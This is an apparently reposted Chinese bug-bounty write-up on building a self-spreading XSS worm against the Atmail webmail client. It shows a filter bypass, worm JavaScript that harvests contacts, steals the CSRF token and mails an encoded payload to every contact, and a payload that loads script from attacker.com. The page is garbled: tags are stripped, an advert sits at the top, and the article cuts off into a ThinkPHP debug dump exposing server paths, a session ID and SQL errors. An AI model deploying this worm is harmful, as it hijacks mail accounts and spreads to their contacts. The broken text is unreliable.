这期内容当中小编将会给大家带来有关如何在Atmail上构建XSS蠕虫,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
河间ssl适用于网站、小程序/APP、API接口等需要进行数据传输应用场景,ssl证书未来市场广阔!成为创新互联的ssl证书销售渠道,可以享受市场价格4-6折优惠!如果有意向欢迎电话联系或者加微信:028-86922220(备注:SSL证书合作)期待与您的合作!
前言
Atmail是一个热门的云服务以及电子邮件托管提供商,目前有很多公司、主机服务商和ISP都在使用Atmail,比如说DreamHost、LegalShield (美国)、m:tel(波斯尼亚)、iiNet和Optus (澳大利亚)。作为DreamHost上的一名Atmail用户,当我在专注于漏洞奖励项目的过程中,我曾见过几次令我印象深刻的基于电子邮件的跨站脚本(XSS)攻击。当时我曾尝试从他们的Web邮件客户端中寻找安全漏洞,几个小时后我便开发出了一个可用的Payload,但是我想更进一步,也就是构建一个旧式的XSS蠕虫。最著名的XSS蠕虫就是2005年感染MySpace的蠕虫病毒了,而且在2014年这个蠕虫的最新变种还成功感染了 TweetDeck。
我将会给大家演示如何构建一个可以通过目标用户联系人来进行自我传播的XSS Payload。
测试环境
在开始之前,我们需要搭建一个简单的测试环境。我们可以通过下列命令来发送电子邮件,然后在邮件内容中植入XSS测试Payload:
cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com
接下来,使用Firefox的开发者工具来查看XSS Payload在Web邮件客户端的DOM中是如何呈现的。
构建XSS Payload
第一步,就是要构建一个能够绕过Atmail内容过滤器的XSS Payload。我一开始发送了一封包含了全部有效HTML标签的邮件,然后看看它是否能够成功送达,尽管我只打算使用
标签。不过,
标签虽然非常适合构建XSS Payload,但是在XSS触发之前,目标用户必须要选择在Atmail中显示图像才行。因此我们得使用那些不需要用户交互便可以呈现内容的标签,这样才能提升Payload的质量。
接下来,我开始研究Atmail是如何清除Payload的。Atmail为了对邮件内容进行过滤,并在用户浏览器中显示语法正确的标记信息,Atmail会对
标签中的字符和HTML属性进行修改。研究之后我发现,Atmail只接受src、alt、longdesc、style、height和width这几个属性,而且我还注意到,Atmail会将单引号转换为双引号,移除onerror事件,并且移除所有不包含src属性的
标签。
虽然onerror事件被移除了,但是如果能够在
标签中同时使用单引号和双引号的话,也许能够绕过Atmail的过滤机制。显然,这样是可行的:
![]()
![]()
下面就是呈现在Web邮件客户端中的内容:
![]()

构建蠕虫
找到了有用的XSS向量之后,下一步就是创建一个Payload来传播我的电子邮件蠕虫。我编写了一份JavaScript代码,然后完成了下列三件事:
1、 提取目标用户的联系人列表;
2、 从Atmail提取有效的CSRF令牌;
3、 向目标用户联系人列表中的每一位用户发送恶意邮件;
代码大致如下,XSS Payload以URL编码的形式提供:
//HTTP request to grab victim's contactsxmlHttp=newXMLHttpRequest();xmlHttp.open('GET','/index.php/mail/contacts/viewcontacts/GroupID/0',false);xmlHttp.send(null);response=xmlHttp.responseText; //Extract email addresses and filter duplicatesvar extractedemails = response.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/igm);var uniqueemails = [];for(vari = 0; i < extractedemails.length; i++){if(uniqueemails.indexOf(extractedemails[i]) == -1)uniqueemails.push(extractedemails[i]);} //HTTP request to get CSRF tokenxmlHttp.open('GET','/index.php/mail/contacts',false);xmlHttp.send(null);response2=xmlHttp.responseText;var csrftoken = response2.match(/name=\"atmailCSRF"value=\"(.+?)\"/im); //Loop through contacts and send emailfor(var i = 0; i < uniqueemails.length; i++) { xmlHttp.open('POST','/index.php/mail/composemessage/send',false); var params = 'atmailCSRF=' + csrftoken[1]+ '&emailTo=' + unique[i] +'&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e'; xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xmlHttp.send(params);首先,我尝试过Base64编码,然后把XSS Payload嵌入到了onerror事件中。接下来,代码会使用eval(atob())来解码并执行Payload代码:
![]()
![]()
但是,我发现Atmail会将我Base64编码的字符串压缩到945个字符,这就太短了。所以我打算把它托管到一个外部地址,然后重写我的XSS Payload:
onerror="include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"上面这段Payload代码会在页面
元素中创建一个新的
基本
文件
流程
错误
SQL
调试
- 请求信息 : 2026-06-06 23:16:21 HTTP/1.1 GET : /article/ggohjg.html
- 运行时间 : 2.2213s ( Load:0.0063s Init:1.5726s Exec:0.6335s Template:0.0089s )
- 吞吐率 : 0.45req/s
- 内存开销 : 2,236.20 kb
- 查询信息 : 12 queries 5 writes
- 文件加载 : 36
- 缓存信息 : 0 gets 0 writes
- 配置加载 : 130
- 会话信息 : SESSION_ID=h9skulk8v3cvbkpq3j87ocaik3
- /www/wwwroot/tsicrk.com/index.php ( 1.09 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/ThinkPHP.php ( 4.61 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Think.class.php ( 12.26 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Storage.class.php ( 1.37 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Storage/Driver/File.class.php ( 3.52 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Mode/common.php ( 2.82 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Common/functions.php ( 53.56 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Hook.class.php ( 4.01 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/App.class.php ( 13.49 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Dispatcher.class.php ( 14.79 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Route.class.php ( 13.36 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Controller.class.php ( 11.23 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/View.class.php ( 7.59 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Behavior/BuildLiteBehavior.class.php ( 3.68 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php ( 3.88 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Behavior/ContentReplaceBehavior.class.php ( 1.91 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Conf/convention.php ( 11.15 KB )
- /www/wwwroot/tsicrk.com/App/Common/Conf/config.php ( 2.14 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Lang/zh-cn.php ( 2.55 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Conf/debug.php ( 1.49 KB )
- /www/wwwroot/tsicrk.com/App/Home/Conf/config.php ( 0.31 KB )
- /www/wwwroot/tsicrk.com/App/Home/Common/function.php ( 3.33 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Behavior/ReadHtmlCacheBehavior.class.php ( 5.62 KB )
- /www/wwwroot/tsicrk.com/App/Home/Controller/ArticleController.class.php ( 6.02 KB )
- /www/wwwroot/tsicrk.com/App/Home/Controller/CommController.class.php ( 1.60 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Model.class.php ( 60.11 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Db.class.php ( 32.43 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Db/Driver/Pdo.class.php ( 16.74 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Cache.class.php ( 3.83 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Cache/Driver/File.class.php ( 5.87 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Template.class.php ( 28.16 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Template/TagLib/Cx.class.php ( 22.40 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Template/TagLib.class.php ( 9.16 KB )
- /www/wwwroot/tsicrk.com/App/Runtime/Cache/Home/7540f392f42b28b481b30614275e4e55.php ( 17.71 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Behavior/WriteHtmlCacheBehavior.class.php ( 0.97 KB )
- /www/wwwroot/tsicrk.com/ThinkPHP/Library/Behavior/ShowPageTraceBehavior.class.php ( 5.24 KB )
- [ app_init ] --START--
- Run Behavior\BuildLiteBehavior [ RunTime:0.000004s ]
- [ app_init ] --END-- [ RunTime:0.000028s ]
- [ app_begin ] --START--
- Run Behavior\ReadHtmlCacheBehavior [ RunTime:0.000271s ]
- [ app_begin ] --END-- [ RunTime:0.000290s ]
- [ view_parse ] --START--
- [ template_filter ] --START--
- Run Behavior\ContentReplaceBehavior [ RunTime:0.000050s ]
- [ template_filter ] --END-- [ RunTime:0.000071s ]
- Run Behavior\ParseTemplateBehavior [ RunTime:0.006138s ]
- [ view_parse ] --END-- [ RunTime:0.006165s ]
- [ view_filter ] --START--
- Run Behavior\WriteHtmlCacheBehavior [ RunTime:0.000161s ]
- [ view_filter ] --END-- [ RunTime:0.000176s ]
- [ app_end ] --START--
- 1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') LIMIT 1' at line 1
[ SQL语句 ] : SELECT `id`,`pid`,`navname` FROM `cx_nav` WHERE ( id= ) LIMIT 1
- 1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') LIMIT 1' at line 1
[ SQL语句 ] : SELECT `id`,`navname` FROM `cx_nav` WHERE ( id= ) LIMIT 1
- 1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1
[ SQL语句 ] : SELECT `id`,`navname` FROM `cx_nav` WHERE ( pid= )
- [8] Undefined index: pid /www/wwwroot/tsicrk.com/App/Home/Controller/ArticleController.class.php 第 47 行.
- [8] Undefined index: db_host /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Db.class.php 第 120 行.
- [8] Undefined index: db_port /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Db.class.php 第 121 行.
- [8] Undefined index: db_name /www/wwwroot/tsicrk.com/ThinkPHP/Library/Think/Db.class.php 第 122 行.

2.2213s
